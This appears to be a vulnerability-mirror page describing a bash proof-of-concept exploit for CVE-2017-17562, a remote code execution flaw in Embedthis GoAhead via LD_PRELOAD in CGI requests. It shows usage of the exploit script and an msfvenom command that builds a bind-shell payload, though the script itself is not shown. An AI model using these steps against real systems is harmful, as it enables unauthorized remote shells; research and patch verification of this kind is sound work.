CVE-2017-17562 PoC — Embedthis GoAhead 安全漏洞

Source

https://github.com/joaomagfreitas/bash-CVE-2017-17562

Associated Vulnerability

Title:Embedthis GoAhead 安全漏洞 (CVE-2017-17562)
Description:Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. This is a result of initializing the environment of forked CGI scripts using untrusted HTTP request parameters in the cgiHandler function in cgi.c. When combined with the glibc dynamic linker, this behaviour can be abused for remote code execution using special parameter names such as LD_PRELOAD. An attacker can POST their shared object payload in the body of the request, and reference it using /proc/self/fd/0.

Description

PoC for CVE-2017-17562 written in bash

Readme

# bash-CVE-2017-17562

An PoC implementation in `Bash` for `CVE-2017-17562`.

Requires `curl` for crafting HTTP requests.

Based on [Metasploit](https://www.exploit-db.com/exploits/43877) and [@fssecur3](https://github.com/fssecur3/goahead-rce-exploit) implementations.

## Arguments

The following arguments need to be set as they are required for reconnaissance + payload send:

```
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
```

Optionally, the following arguments can also be set:

```
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
```

## Example

```
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
```

### Disclaimer

The present code is only for learning and demonstration purposes. You shall not use this in to targets you do not have permission to do so.

No payloads are provided in this repository. However any binary that matches target OS architecture should work. To craft a bind shell payload, you can use `msfvenon`:

```
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so
```

File Snapshot


 [4.0K]  /data/pocs/f4eef05b7b736eb15ada19c8a28dfb58663d0f36
├── [2.6K]  cgi.endpoints
├── [3.4K]  exploit.bash
├── [1.2K]  LICENSE
└── [1.3K]  README.md

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!